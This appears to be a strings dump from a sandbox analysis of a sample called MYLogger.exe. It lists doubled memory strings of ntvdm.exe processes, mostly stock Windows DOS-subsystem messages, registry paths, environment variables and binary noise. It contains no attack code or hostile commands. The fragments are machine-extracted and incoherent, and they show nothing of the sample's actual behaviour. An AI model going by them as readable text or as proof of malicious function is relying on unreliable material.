Copyright (c) 2013 9377.com
MYLogger.exe
MYLogger.exe
ntvdm.exe_280:
.text
.text
`.data
`.data
.rsrc
.rsrc
KERNEL32.dll
KERNEL32.dll
NTDLL.DLL
NTDLL.DLL
ADVAPI32.dll
ADVAPI32.dll
GDI32.dll
GDI32.dll
USER32.dll
USER32.dll
SoftPC
SoftPC
mscoree.dll
mscoree.dll
Please contact the application's support team for more information.
Please contact the application's support team for more information.
GetProcessWindowStation
GetProcessWindowStation
user32.dll
user32.dll
BIOS keyboard buffer overflow
BIOS keyboard buffer overflow
hardware keyboard buffer overflow
hardware keyboard buffer overflow
%s Mouse %d.01 already installed
%s Mouse %d.01 already installed
%s Mouse %d.01 installed
%s Mouse %d.01 installed
d:\xpsp\base\mvdm\softpc.new\host\src\nt_timer.c
d:\xpsp\base\mvdm\softpc.new\host\src\nt_timer.c
d:\xpsp\base\mvdm\softpc.new\host\src\nt_eoi.c
d:\xpsp\base\mvdm\softpc.new\host\src\nt_eoi.c
C:\IBMBIO.SYS
C:\IBMBIO.SYS
C:\IO.SYS
C:\IO.SYS
C:\IBMDOS.SYS
C:\IBMDOS.SYS
C:\MSDOS.SYS
C:\MSDOS.SYS
\ntio404.sys
\ntio404.sys
\ntio411.sys
\ntio411.sys
\ntio412.sys
\ntio412.sys
\ntio804.sys
\ntio804.sys
\ntio.sys
\ntio.sys
VJOY.DLL
VJOY.DLL
%s %lxh
%s %lxh
d:\xpsp\base\mvdm\softpc.new\host\src\nt_com.c
d:\xpsp\base\mvdm\softpc.new\host\src\nt_com.c
d:\xpsp\base\mvdm\softpc.new\host\src\config.c
d:\xpsp\base\mvdm\softpc.new\host\src\config.c
Software\Microsoft\Windows NT\CurrentVersion\WOW\Console
Software\Microsoft\Windows NT\CurrentVersion\WOW\Console
\\.\$VDMLPT2
\\.\$VDMLPT2
\\.\$VDMLPT3
\\.\$VDMLPT3
\\.\$VDMLPT1
\\.\$VDMLPT1
FONT.NT
FONT.NT
\ega.cpi
\ega.cpi
d:\xpsp\base\mvdm\softpc.new\host\src\nt_fulsc.c
d:\xpsp\base\mvdm\softpc.new\host\src\nt_fulsc.c
Drive %c:
Drive %c:
Incompatible DOS diskette, C H R N = %d %d %d %d
Incompatible DOS diskette, C H R N = %d %d %d %d
\\.\A:
\\.\A:
\\.\?:
\\.\?:
d:\xpsp\base\mvdm\softpc.new\host\src\nt_event.c
d:\xpsp\base\mvdm\softpc.new\host\src\nt_event.c
WINDOWS VMM 4.0
WINDOWS VMM 4.0
WINDOWS NT 3.1
WINDOWS NT 3.1
WINDOWS 386 3.0
WINDOWS 386 3.0
WINDOWS 286 3.0
WINDOWS 286 3.0
\_default.pif
\_default.pif
d:\xpsp\base\mvdm\softpc.new\host\src\nt_det.c
d:\xpsp\base\mvdm\softpc.new\host\src\nt_det.c
VrRemoveOpenNamedPipeInfo
VrRemoveOpenNamedPipeInfo
VrConvertLocalNtPipeName
VrConvertLocalNtPipeName
VrAddOpenNamedPipeInfo
VrAddOpenNamedPipeInfo
VrIsNamedPipeHandle
VrIsNamedPipeHandle
VrIsNamedPipeName
VrIsNamedPipeName
VrWriteNamedPipe
VrWriteNamedPipe
VrReadNamedPipe
VrReadNamedPipe
midiOutShortMsg
midiOutShortMsg
midiOutLongMsg
midiOutLongMsg
WINMM.DLL
WINMM.DLL
d:\xpsp\base\mvdm\softpc.new\host\src\nt_hosts.c
d:\xpsp\base\mvdm\softpc.new\host\src\nt_hosts.c
NtDeviceIoControlFile failed %x
NtDeviceIoControlFile failed %x
d:\xpsp\base\mvdm\softpc.new\host\src\nt_sec.c
d:\xpsp\base\mvdm\softpc.new\host\src\nt_sec.c
SoftPc: NtDeCommitVirtualMemory failed !!!! Status = %lx
SoftPc: NtDeCommitVirtualMemory failed !!!! Status = %lx
NTVDMD.DLL
NTVDMD.DLL
Check Keyboard Status
Check Keyboard Status
\ntdos404.sys
\ntdos404.sys
\ntdos411.sys
\ntdos411.sys
\ntdos412.sys
\ntdos412.sys
\ntdos804.sys
\ntdos804.sys
\ntdos.sys
\ntdos.sys
demDosDispCall %s
demDosDispCall %s
config.nt
config.nt
PIPE
PIPE
%c:%sNUL
%c:%sNUL
Software\Microsoft\Windows\CurrentVersion\Setup
Software\Microsoft\Windows\CurrentVersion\Setup
Unimplemented SVC %d
Unimplemented SVC %d
Software\Microsoft\Windows NT\CurrentVersion\WOW\CmdLine
Software\Microsoft\Windows NT\CurrentVersion\WOW\CmdLine
%s=%s%s /p %s\system32
%s=%s%s /p %s\system32
%s=%3.3u,%3.3u,%s\system32\%s.sys%s
%s=%3.3u,%3.3u,%s\system32\%s.sys%s
KEYB
KEYB
\KEYBOARD.SYS
\KEYBOARD.SYS
\KEYJ31.SYS
\KEYJ31.SYS
\KEY02.SYS
\KEY02.SYS
\KEY01.SYS
\KEY01.SYS
\KEYAX.SYS
\KEYAX.SYS
%s,%d,%s
%s,%d,%s
\KB16.COM
\KB16.COM
DosKeybIDs
DosKeybIDs
System\CurrentControlSet\Control\Keyboard Layout\
System\CurrentControlSet\Control\Keyboard Layout\
DosKeybCodes
DosKeybCodes
00000409
00000409
Software\Microsoft\Windows NT\CurrentVersion\WOW\Compatibility
Software\Microsoft\Windows NT\CurrentVersion\WOW\Compatibility
Broken pipe
Broken pipe
Inappropriate I/O control operation
Inappropriate I/O control operation
Operation not permitted
Operation not permitted
ega.rom
ega.rom
vga.rom
vga.rom
v7vga.rom
v7vga.rom
bios4.rom
bios4.rom
bios1.rom
bios1.rom
profile.spc
profile.spc
.spcprofile
.spcprofile
d:\xpsp\base\mvdm\softpc.new\host\src\x86_emm.c
d:\xpsp\base\mvdm\softpc.new\host\src\x86_emm.c
CS:x IP:x OP:x x x x x
CS:x IP:x OP:x x x x x
ntvdm.pdb
ntvdm.pdb
Ut.Ht$Ht
Ut.Ht$Ht
ItKIt9It.IIt
ItKIt9It.IIt
tK
tK
HHt7Ht.Ht
HHt7Ht.Ht
YYt%F
YYt%F
SSSSSh
SSSSSh
s*f;O%s$
s*f;O%s$
V
V
t.HtHHt(Ht
t.HtHHt(Ht
GetCPInfo
GetCPInfo
NtEnumerateValueKey
NtEnumerateValueKey
NtOpenKey
NtOpenKey
ntdll.dll
ntdll.dll
RegCloseKey
RegCloseKey
RegQueryInfoKeyA
RegQueryInfoKeyA
RegOpenKeyExA
RegOpenKeyExA
GetConsoleOutputCP
GetConsoleOutputCP
GetSystemWindowsDirectoryA
GetSystemWindowsDirectoryA
GetWindowsDirectoryA
GetWindowsDirectoryA
SetConsoleKeyShortcuts
SetConsoleKeyShortcuts
VDMConsoleOperation
VDMConsoleOperation
GetConsoleKeyboardLayoutNameA
GetConsoleKeyboardLayoutNameA
EnumWindows
EnumWindows
GetKeyState
GetKeyState
VkKeyScanW
VkKeyScanW
MapVirtualKeyA
MapVirtualKeyA
GetKeyboardType
GetKeyboardType
NtQueryValueKey
NtQueryValueKey
GetProcessHeap
GetProcessHeap
ntvdm.exe
ntvdm.exe
SoftPcEoi
SoftPcEoi
cmdCheckTemp
cmdCheckTemp
cmdCheckTempInit
cmdCheckTempInit
demIsShortPathName
demIsShortPathName
'?--?1-?6-?:-??-??-:?-6?-1?--?1-?6-?:-??-:?-6?-1?--?--?1-?6-?:-??-:?-6?-1?
'?--?1-?6-?:-??-??-:?-6?-1?--?1-?6-?:-??-:?-6?-1?--?--?1-?6-?:-??-:?-6?-1?
$$$(((---222888???
$$$(((---222888???
!"#$%&'(
!"#$%&'(
SoftPC-AT Version 3
SoftPC-AT Version 3
89:;?
89:;?
autoexec.nt
autoexec.nt
00030
00030
30333
30333
?0?3???
?0?3???
!"#$%&'()
!"#$%&'()
Userenv.dll
Userenv.dll
Software\Microsoft\Windows NT\CurrentVersion\Terminal Server
Software\Microsoft\Windows NT\CurrentVersion\Terminal Server
%SystemRoot%
%SystemRoot%
\System32\command.com
\System32\command.com
%System%\ntvdm.exe
%System%\ntvdm.exe
\\.\B:
\\.\B:
COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM
COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM
%WinDir%
%WinDir%
NTVDM.EXE
NTVDM.EXE
5.1.2600.5512 (xpsp.080413-2111)
5.1.2600.5512 (xpsp.080413-2111)
Windows
Windows
Operating System
Operating System
5.1.2600.5512
5.1.2600.5512
5The NTVDM CPU has encountered an illegal instruction."Internal error in NTVDM procedure.#NTVDM does not support a ROM BASIC.BFailure to allocate the requested number of Expanded Memory pages.*A continuous RESET state has been entered.,The CMOS file cmos.ram could not be created.,The CMOS file cmos.ram could not be updated.
5The NTVDM CPU has encountered an illegal instruction."Internal error in NTVDM procedure.#NTVDM does not support a ROM BASIC.BFailure to allocate the requested number of Expanded Memory pages.*A continuous RESET state has been entered.,The CMOS file cmos.ram could not be created.,The CMOS file cmos.ram could not be updated.
LAn installation file required by NTVDM is missing, execution must terminate.
LAn installation file required by NTVDM is missing, execution must terminate.
Insufficient memory resources.=The NTVDM CPU has encountered an unsupported 386 instruction.TThe EMM command line in your config.nt contains invalid parameters or syntax errors.5The NTVDM CPU has encountered an unhandled exception.t
Insufficient memory resources.=The NTVDM CPU has encountered an unsupported 386 instruction.TThe EMM command line in your config.nt contains invalid parameters or syntax errors.5The NTVDM CPU has encountered an unhandled exception.t
MS-DOS program files must end with the extension .EXE, .COM, or .BAT.
MS-DOS program files must end with the extension .EXE, .COM, or .BAT.
vAn application has attempted to %s, which cannot be supported. This may cause the application to function incorrectly./directly access an incompatible diskette format
vAn application has attempted to %s, which cannot be supported. This may cause the application to function incorrectly./directly access an incompatible diskette format
16 bit Windows Subsystem
16 bit Windows Subsystem
VThe system file is not suitable for running MS-DOS and Microsoft Windows applications."Memory error during intialization.
VThe system file is not suitable for running MS-DOS and Microsoft Windows applications."Memory error during intialization.
Unable to lock for exclusive access. Another application may be using the drive. When the other application has finished using the drive you may retry the operation.
Unable to lock for exclusive access. Another application may be using the drive. When the other application has finished using the drive you may retry the operation.
Drive %c: ZThe Application attempted to enable DOS graphics mode. DOS graphics mode is not supported.
Drive %c: ZThe Application attempted to enable DOS graphics mode. DOS graphics mode is not supported.
Function failed$NTVDM has encountered a System Error*Driver does not support selected Baud Rate
Function failed$NTVDM has encountered a System Error*Driver does not support selected Baud Rate
ntvdm.exe_280_rwx_00000000_00010000:
C:\DOCUME~1\ADM\LOCALS~1\TEMP\NSZ2.TMP\F0916_~1.EXE
C:\DOCUME~1\ADM\LOCALS~1\TEMP\NSZ2.TMP\F0916_~1.EXE
F0916_~1EXE
F0916_~1EXE
."/\[]:| =;,
."/\[]:| =;,
c:\wina20.386
c:\wina20.386
%WinDir%\SYSTEM32\COUNTRY.SYS
%WinDir%\SYSTEM32\COUNTRY.SYS
url=""
url=""
89:;?
89:;?
1234567890-=
1234567890-=
!@#$%^&*()_
!@#$%^&*()_
789-456 1230.
789-456 1230.
!"#$%&,-./012
!"#$%&,-./012
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz2.tmp
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz2.tmp
%WinDir%\SYSTEM32\COMMAND.COM
%WinDir%\SYSTEM32\COMMAND.COM
%File allocation table bad, drive %1
%File allocation table bad, drive %1
Invalid COMMAND.COM
Invalid COMMAND.COM
!Press any key to continue . . .
!Press any key to continue . . .
Cannot execute %1
Cannot execute %1
Error in EXE file
Error in EXE file
%WinDir%\TEMP\scs8.tmp
%WinDir%\TEMP\scs8.tmp
arameter vaCOMSPEC=%WinDir%\SYSTEM32\COMMAND.COM
arameter vaCOMSPEC=%WinDir%\SYSTEM32\COMMAND.COM
OS=Windows_NT
OS=Windows_NT
PATH=C:\Perl\site\bin;C:\Perl\bin;%System%;%WinDir%;%WinDir%\System32\Wbem;c:\PROGRA~1\WIRESH~1
PATH=C:\Perl\site\bin;C:\Perl\bin;%System%;%WinDir%;%WinDir%\System32\Wbem;c:\PROGRA~1\WIRESH~1
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
SYSTEMROOT=%WinDir%
SYSTEMROOT=%WinDir%
TEMP=%WinDir%\TEMP
TEMP=%WinDir%\TEMP
TMP=%WinDir%\TEMP
TMP=%WinDir%\TEMP
COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM
COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM
\COMMAND.COM
\COMMAND.COM
COMSPEC=\COMMAND.COM
COMSPEC=\COMMAND.COM
BMicrosoft(R) Windows DOS
BMicrosoft(R) Windows DOS
FCOMMAND [[drive:]path] [device] [/E:nnnnn] [/P] [/C string] [/MSG]
FCOMMAND [[drive:]path] [device] [/E:nnnnn] [/P] [/C string] [/MSG]
H [drive:]path Specifies the directory containing COMMAND.COM file.
H [drive:]path Specifies the directory containing COMMAND.COM file.
N /MSG Specifies that all error messages be stored in memory. You
N /MSG Specifies that all error messages be stored in memory. You
%Intermediate file error during pipe
%Intermediate file error during pipe
Switches may be preset in the DIRCMD environment variable. Override
Switches may be preset in the DIRCMD environment variable. Override
>Quits the COMMAND.COM program (command interpreter).
>Quits the COMMAND.COM program (command interpreter).
]Displays or sets a search path for executable files.
]Displays or sets a search path for executable files.
$B | (pipe)
$B | (pipe)
%Displays the MS-DOS version.
%Displays the MS-DOS version.
LRecords comments (remarks) in a batch file or CONFIG.SYS.
LRecords comments (remarks) in a batch file or CONFIG.SYS.
key to continue...."
key to continue...."
PATH=PROMPT=COMSPEC=DIRCMD=
PATH=PROMPT=COMSPEC=DIRCMD=
.COM.EXE.BAT?VBAPWRHSvDANEDSG
.COM.EXE.BAT?VBAPWRHSvDANEDSG
%WinDir%\SYSTEM32
%WinDir%\SYSTEM32
[]| =;"
[]| =;"
ntvdm.exe_280_rwx_00010000_00090000:
COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM
COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM
%WinDir%\TEMP\scs8.tmp
%WinDir%\TEMP\scs8.tmp
89:;?
89:;?
0WINDOWS MS-DOS STARTUP FILE
0WINDOWS MS-DOS STARTUP FILE
0CONFIG.SYS VS CONFIG.NT
0CONFIG.SYS VS CONFIG.NT
0CONFIG.SYS IS NOT USED TO INITIALIZE THE MS-DOS ENVIRONMENT.
0CONFIG.SYS IS NOT USED TO INITIALIZE THE MS-DOS ENVIRONMENT.
0CONFIG.NT IS USED TO INITIALIZE THE MS-DOS ENVIRONMENT UNLESS A
0CONFIG.NT IS USED TO INITIALIZE THE MS-DOS ENVIRONMENT UNLESS A
0IS INITIALIZED. TO DISPLAY CONFIG.NT/AUTOEXEC.NT INFORMATION, ADD
0IS INITIALIZED. TO DISPLAY CONFIG.NT/AUTOEXEC.NT INFORMATION, ADD
0THE COMMAND ECHOCONFIG TO CONFIG.NT OR OTHER STARTUP FILE.
0THE COMMAND ECHOCONFIG TO CONFIG.NT OR OTHER STARTUP FILE.
0NTCMDPROMPT
0NTCMDPROMPT
0MS-DOS-BASED APPLICATION, WINDOWS RUNS COMMAND.COM. THIS ALLOWS THE
0MS-DOS-BASED APPLICATION, WINDOWS RUNS COMMAND.COM. THIS ALLOWS THE
0TSR TO REMAIN ACTIVE. TO RUN CMD.EXE, THE WINDOWS COMMAND PROMPT,
0TSR TO REMAIN ACTIVE. TO RUN CMD.EXE, THE WINDOWS COMMAND PROMPT,
0RATHER THAN COMMAND.COM, ADD THE COMMAND NTCMDPROMPT TO CONFIG.NT OR
0RATHER THAN COMMAND.COM, ADD THE COMMAND NTCMDPROMPT TO CONFIG.NT OR
0COMMAND.COM. IF YOU START AN APPLICATION OTHER THAN AN MS-DOS-BASED
0COMMAND.COM. IF YOU START AN APPLICATION OTHER THAN AN MS-DOS-BASED
0CONFIG.NT OR OTHER STARTUP FILE.
0CONFIG.NT OR OTHER STARTUP FILE.
0WANT THE SYSTEM TO SUPPORT. 1
0WANT THE SYSTEM TO SUPPORT. 1
0AND LEAVE THE RESTS(IF AVAILABLE) TO BE USED BY DOS TO SUPPORT
0AND LEAVE THE RESTS(IF AVAILABLE) TO BE USED BY DOS TO SUPPORT
0WITH YOUR APPLICATION OR _DEFAULT.PIF). IF THE SIZE FROM PIF FILE
0WITH YOUR APPLICATION OR _DEFAULT.PIF). IF THE SIZE FROM PIF FILE
D%WinDir%\SYSTEM32\HIMEM.SYS
D%WinDir%\SYSTEM32\HIMEM.SYS
Q001,437,%WinDir%\SYSTEM32\COUNTRY.SYS
Q001,437,%WinDir%\SYSTEM32\COUNTRY.SYS
S%WinDir%\SYSTEM32\COMMAND.COM
S%WinDir%\SYSTEM32\COMMAND.COM
/P %WinDir%\SYSTEM32
/P %WinDir%\SYSTEM32
ATION OR _DEFAULT.PIF). IF THE SIZE FROM PIF FILE
ATION OR _DEFAULT.PIF). IF THE SIZE FROM PIF FILE
DEVICE=%WinDir%\SYSTEM32\HIMEM.SYS
DEVICE=%WinDir%\SYSTEM32\HIMEM.SYS
COUNTRY=001,437,%WinDir%\SYSTEM32\COUNTRY.SYS
COUNTRY=001,437,%WinDir%\SYSTEM32\COUNTRY.SYS
SHELL=%WinDir%\SYSTEM32\COMMAND.COM /P %WinDir%\SYSTEM32
SHELL=%WinDir%\SYSTEM32\COMMAND.COM /P %WinDir%\SYSTEM32
%WinDir%\SYSTEM32\COUNTRY.SYS
%WinDir%\SYSTEM32\COUNTRY.SYS
[]| =;"
[]| =;"
%WinDir%\TEMP\scs7.tmp
%WinDir%\TEMP\scs7.tmp
%WinDir%\SYSTEM32\COMMAND.COM
%WinDir%\SYSTEM32\COMMAND.COM
NTCMDPROMPTT
NTCMDPROMPTT
Unrecognized command in CONFIG.SYS
Unrecognized command in CONFIG.SYS
Insufficient memory for COUNTRY.SYS file
Insufficient memory for COUNTRY.SYS file
Incorrect order in CONFIG.SYS line $Error in CONFIG.SYS line $WARNING! Logical drives past Z: exist and will be ignored
Incorrect order in CONFIG.SYS line $Error in CONFIG.SYS line $WARNING! Logical drives past Z: exist and will be ignored
1234567890-=
1234567890-=
!@#$%^&*()_
!@#$%^&*()_
789-456 1230.
789-456 1230.
!"#$%&,-./012
!"#$%&,-./012
00030
00030
30333
30333
?0?3???
?0?3???
Windows NT MS-DOS subsystem Mouse Driver
Windows NT MS-DOS subsystem Mouse Driver
/)()(00)(
/)()(00)(
/@%}-{.Nb#b
/@%}-{.Nb#b
!Press any key to continue . . .
!Press any key to continue . . .
%Intermediate file error during pipe
%Intermediate file error during pipe
Switches may be preset in the DIRCMD environment variable. Override
Switches may be preset in the DIRCMD environment variable. Override
>Quits the COMMAND.COM program (command interpreter).
>Quits the COMMAND.COM program (command interpreter).
]Displays or sets a search path for executable files.
]Displays or sets a search path for executable files.
$B | (pipe)
$B | (pipe)
%Displays the MS-DOS version.
%Displays the MS-DOS version.
LRecords comments (remarks) in a batch file or CONFIG.SYS.
LRecords comments (remarks) in a batch file or CONFIG.SYS.
key to continue...."
key to continue...."
PATH=PROMPT=COMSPEC=DIRCMD=
PATH=PROMPT=COMSPEC=DIRCMD=
.COM.EXE.BAT?VBAPWRHSvDANEDSG
.COM.EXE.BAT?VBAPWRHSvDANEDSG
%WinDir%\SYSTEM32\DOSX
%WinDir%\SYSTEM32\DOSX
NT.EXE
NT.EXE
C:\DOCUME~1\ADM\LOCALS~1\TEMP\NSZ2.TMP\F0916_~1.EXE
C:\DOCUME~1\ADM\LOCALS~1\TEMP\NSZ2.TMP\F0916_~1.EXE
nt.exe
nt.exe
DOSX.EXE
DOSX.EXE
ntvdm.exe_280_rwx_000A0000_00020000:
66666666
66666666
6666666
6666666
6666666666666666
6666666666666666
6666666676666666
6666666676666666
6666667076666666
6666667076666666
ntvdm.exe_280_rwx_000C9000_00013000:
COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM
COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM
OS=Windows_NT
OS=Windows_NT
PATH=C:\Perl\site\bin;C:\Perl\bin;%System%;%WinDir%;%WinDir%\System32\Wbem;c:\PROGRA~1\WIRESH~1
PATH=C:\Perl\site\bin;C:\Perl\bin;%System%;%WinDir%;%WinDir%\System32\Wbem;c:\PROGRA~1\WIRESH~1
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
SYSTEMROOT=%WinDir%
SYSTEMROOT=%WinDir%
TEMP=%WinDir%\TEMP
TEMP=%WinDir%\TEMP
TMP=%WinDir%\TEMP
TMP=%WinDir%\TEMP
%System%\DOSX.EXE
%System%\DOSX.EXE
%System%\mscdexnt.exe
%System%\mscdexnt.exe
VCDEX.DLL
VCDEX.DLL
%System%\redir
%System%\redir
(load before dosx.exe)
(load before dosx.exe)
C:\LANMAN.DOS
C:\LANMAN.DOS
%System%\dosx
%System%\dosx
%System%\krnl386.exe
%System%\krnl386.exe
krnl386.exe
krnl386.exe
SYSTEM.INI
SYSTEM.INI
ntvdm.exe_280_rwx_000E8000_00008000:
00030
00030
30333
30333
?0?3???
?0?3???
Windows NT MS-DOS subsystem Mouse Driver
Windows NT MS-DOS subsystem Mouse Driver
ntvdm.exe_280_rwx_00100000_00010000:
/)()(00)(
/)()(00)(
/@%}-{.Nb#b
/@%}-{.Nb#b
to run Windows in Enhanced Mode
to run Windows in Enhanced Mode
69797:6%7'6
69797:6%7'6
C%D%DGDGD8EyD
C%D%DGDGD8EyD
ntvdm.exe_1436:
.text
.text
`.data
`.data
.rsrc
.rsrc
KERNEL32.dll
KERNEL32.dll
NTDLL.DLL
NTDLL.DLL
ADVAPI32.dll
ADVAPI32.dll
GDI32.dll
GDI32.dll
USER32.dll
USER32.dll
SoftPC
SoftPC
mscoree.dll
mscoree.dll
Please contact the application's support team for more information.
Please contact the application's support team for more information.
GetProcessWindowStation
GetProcessWindowStation
user32.dll
user32.dll
BIOS keyboard buffer overflow
BIOS keyboard buffer overflow
hardware keyboard buffer overflow
hardware keyboard buffer overflow
%s Mouse %d.01 already installed
%s Mouse %d.01 already installed
%s Mouse %d.01 installed
%s Mouse %d.01 installed
d:\xpsp\base\mvdm\softpc.new\host\src\nt_timer.c
d:\xpsp\base\mvdm\softpc.new\host\src\nt_timer.c
d:\xpsp\base\mvdm\softpc.new\host\src\nt_eoi.c
d:\xpsp\base\mvdm\softpc.new\host\src\nt_eoi.c
C:\IBMBIO.SYS
C:\IBMBIO.SYS
C:\IO.SYS
C:\IO.SYS
C:\IBMDOS.SYS
C:\IBMDOS.SYS
C:\MSDOS.SYS
C:\MSDOS.SYS
\ntio404.sys
\ntio404.sys
\ntio411.sys
\ntio411.sys
\ntio412.sys
\ntio412.sys
\ntio804.sys
\ntio804.sys
\ntio.sys
\ntio.sys
VJOY.DLL
VJOY.DLL
%s %lxh
%s %lxh
d:\xpsp\base\mvdm\softpc.new\host\src\nt_com.c
d:\xpsp\base\mvdm\softpc.new\host\src\nt_com.c
d:\xpsp\base\mvdm\softpc.new\host\src\config.c
d:\xpsp\base\mvdm\softpc.new\host\src\config.c
Software\Microsoft\Windows NT\CurrentVersion\WOW\Console
Software\Microsoft\Windows NT\CurrentVersion\WOW\Console
\\.\$VDMLPT2
\\.\$VDMLPT2
\\.\$VDMLPT3
\\.\$VDMLPT3
\\.\$VDMLPT1
\\.\$VDMLPT1
FONT.NT
FONT.NT
\ega.cpi
\ega.cpi
d:\xpsp\base\mvdm\softpc.new\host\src\nt_fulsc.c
d:\xpsp\base\mvdm\softpc.new\host\src\nt_fulsc.c
Drive %c:
Drive %c:
Incompatible DOS diskette, C H R N = %d %d %d %d
Incompatible DOS diskette, C H R N = %d %d %d %d
\\.\A:
\\.\A:
\\.\?:
\\.\?:
d:\xpsp\base\mvdm\softpc.new\host\src\nt_event.c
d:\xpsp\base\mvdm\softpc.new\host\src\nt_event.c
WINDOWS VMM 4.0
WINDOWS VMM 4.0
WINDOWS NT 3.1
WINDOWS NT 3.1
WINDOWS 386 3.0
WINDOWS 386 3.0
WINDOWS 286 3.0
WINDOWS 286 3.0
\_default.pif
\_default.pif
d:\xpsp\base\mvdm\softpc.new\host\src\nt_det.c
d:\xpsp\base\mvdm\softpc.new\host\src\nt_det.c
VrRemoveOpenNamedPipeInfo
VrRemoveOpenNamedPipeInfo
VrConvertLocalNtPipeName
VrConvertLocalNtPipeName
VrAddOpenNamedPipeInfo
VrAddOpenNamedPipeInfo
VrIsNamedPipeHandle
VrIsNamedPipeHandle
VrIsNamedPipeName
VrIsNamedPipeName
VrWriteNamedPipe
VrWriteNamedPipe
VrReadNamedPipe
VrReadNamedPipe
midiOutShortMsg
midiOutShortMsg
midiOutLongMsg
midiOutLongMsg
WINMM.DLL
WINMM.DLL
d:\xpsp\base\mvdm\softpc.new\host\src\nt_hosts.c
d:\xpsp\base\mvdm\softpc.new\host\src\nt_hosts.c
NtDeviceIoControlFile failed %x
NtDeviceIoControlFile failed %x
d:\xpsp\base\mvdm\softpc.new\host\src\nt_sec.c
d:\xpsp\base\mvdm\softpc.new\host\src\nt_sec.c
SoftPc: NtDeCommitVirtualMemory failed !!!! Status = %lx
SoftPc: NtDeCommitVirtualMemory failed !!!! Status = %lx
NTVDMD.DLL
NTVDMD.DLL
Check Keyboard Status
Check Keyboard Status
\ntdos404.sys
\ntdos404.sys
\ntdos411.sys
\ntdos411.sys
\ntdos412.sys
\ntdos412.sys
\ntdos804.sys
\ntdos804.sys
\ntdos.sys
\ntdos.sys
demDosDispCall %s
demDosDispCall %s
config.nt
config.nt
PIPE
PIPE
%c:%sNUL
%c:%sNUL
Software\Microsoft\Windows\CurrentVersion\Setup
Software\Microsoft\Windows\CurrentVersion\Setup
Unimplemented SVC %d
Unimplemented SVC %d
Software\Microsoft\Windows NT\CurrentVersion\WOW\CmdLine
Software\Microsoft\Windows NT\CurrentVersion\WOW\CmdLine
%s=%s%s /p %s\system32
%s=%s%s /p %s\system32
%s=%3.3u,%3.3u,%s\system32\%s.sys%s
%s=%3.3u,%3.3u,%s\system32\%s.sys%s
KEYB
KEYB
\KEYBOARD.SYS
\KEYBOARD.SYS
\KEYJ31.SYS
\KEYJ31.SYS
\KEY02.SYS
\KEY02.SYS
\KEY01.SYS
\KEY01.SYS
\KEYAX.SYS
\KEYAX.SYS
%s,%d,%s
%s,%d,%s
\KB16.COM
\KB16.COM
DosKeybIDs
DosKeybIDs
System\CurrentControlSet\Control\Keyboard Layout\
System\CurrentControlSet\Control\Keyboard Layout\
DosKeybCodes
DosKeybCodes
00000409
00000409
Software\Microsoft\Windows NT\CurrentVersion\WOW\Compatibility
Software\Microsoft\Windows NT\CurrentVersion\WOW\Compatibility
Broken pipe
Broken pipe
Inappropriate I/O control operation
Inappropriate I/O control operation
Operation not permitted
Operation not permitted
ega.rom
ega.rom
vga.rom
vga.rom
v7vga.rom
v7vga.rom
bios4.rom
bios4.rom
bios1.rom
bios1.rom
profile.spc
profile.spc
.spcprofile
.spcprofile
d:\xpsp\base\mvdm\softpc.new\host\src\x86_emm.c
d:\xpsp\base\mvdm\softpc.new\host\src\x86_emm.c
CS:x IP:x OP:x x x x x
CS:x IP:x OP:x x x x x
ntvdm.pdb
ntvdm.pdb
Ut.Ht$Ht
Ut.Ht$Ht
ItKIt9It.IIt
ItKIt9It.IIt
tK
tK
HHt7Ht.Ht
HHt7Ht.Ht
YYt%F
YYt%F
SSSSSh
SSSSSh
s*f;O%s$
s*f;O%s$
V
V
t.HtHHt(Ht
t.HtHHt(Ht
GetCPInfo
GetCPInfo
NtEnumerateValueKey
NtEnumerateValueKey
NtOpenKey
NtOpenKey
ntdll.dll
ntdll.dll
RegCloseKey
RegCloseKey
RegQueryInfoKeyA
RegQueryInfoKeyA
RegOpenKeyExA
RegOpenKeyExA
GetConsoleOutputCP
GetConsoleOutputCP
GetSystemWindowsDirectoryA
GetSystemWindowsDirectoryA
GetWindowsDirectoryA
GetWindowsDirectoryA
SetConsoleKeyShortcuts
SetConsoleKeyShortcuts
VDMConsoleOperation
VDMConsoleOperation
GetConsoleKeyboardLayoutNameA
GetConsoleKeyboardLayoutNameA
EnumWindows
EnumWindows
GetKeyState
GetKeyState
VkKeyScanW
VkKeyScanW
MapVirtualKeyA
MapVirtualKeyA
GetKeyboardType
GetKeyboardType
NtQueryValueKey
NtQueryValueKey
GetProcessHeap
GetProcessHeap
ntvdm.exe
ntvdm.exe
SoftPcEoi
SoftPcEoi
cmdCheckTemp
cmdCheckTemp
cmdCheckTempInit
cmdCheckTempInit
demIsShortPathName
demIsShortPathName
'?--?1-?6-?:-??-??-:?-6?-1?--?1-?6-?:-??-:?-6?-1?--?--?1-?6-?:-??-:?-6?-1?
'?--?1-?6-?:-??-??-:?-6?-1?--?1-?6-?:-??-:?-6?-1?--?--?1-?6-?:-??-:?-6?-1?
$$$(((---222888???
$$$(((---222888???
!"#$%&'(
!"#$%&'(
SoftPC-AT Version 3
SoftPC-AT Version 3
89:;?
89:;?
autoexec.nt
autoexec.nt
00030
00030
30333
30333
?0?3???
?0?3???
!"#$%&'()
!"#$%&'()
Userenv.dll
Userenv.dll
Software\Microsoft\Windows NT\CurrentVersion\Terminal Server
Software\Microsoft\Windows NT\CurrentVersion\Terminal Server
%SystemRoot%
%SystemRoot%
\System32\command.com
\System32\command.com
%System%\ntvdm.exe
%System%\ntvdm.exe
\\.\B:
\\.\B:
COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM
COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM
%WinDir%
%WinDir%
NTVDM.EXE
NTVDM.EXE
